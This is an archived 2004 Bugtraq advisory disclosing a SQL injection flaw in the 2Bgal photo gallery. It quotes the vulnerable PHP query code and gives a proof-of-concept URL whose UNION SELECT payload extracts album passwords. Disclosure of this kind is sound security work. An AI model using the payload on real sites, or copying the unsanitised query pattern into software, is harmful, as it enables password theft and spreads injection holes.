bugtraq - 2Bgal : 2.4 & 2.5.1 SQL injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 22 Dec 2004 07:49:19 -0000
From: zib zib <zibelette@....com>
To: bugtraq@...urityfocus.com
Subject: 2Bgal : 2.4 & 2.5.1 SQL injection Vulnerability




2Bgal 2.5.1 SQL injection Vulnerability
(http://www.ben3w.com/)
12/22/2004
----------------------------------------------------------------------
Description:
----------------------------------------------------------------------
2Bgal is fully customizable photo gallery. 
It's seems to be vulnerable at a SQL injection.


----------------------------------------------------------------------
Vulnerable code (disp_album.php(~53) and maybe disp_img.php)
----------------------------------------------------------------------
$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");



----------------------------------------------------------------------
Proof of concept (2Bgal with MySQL 4.x.x):
----------------------------------------------------------------------
http://www.server.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201; --

This code allows you to get password for the first album.
You can play with SQL injection code to get others passwords.

----------------------------------------------------------------------
Version 
----------------------------------------------------------------------
2Bgal 2.5.1
2Bgal 2.4 (seems to be affected too)
others not tested

----------------------------------------------------------------------
Discovered by Romain Le Guen: 
http://coding.romainl.com
contact @AT@ romainl.com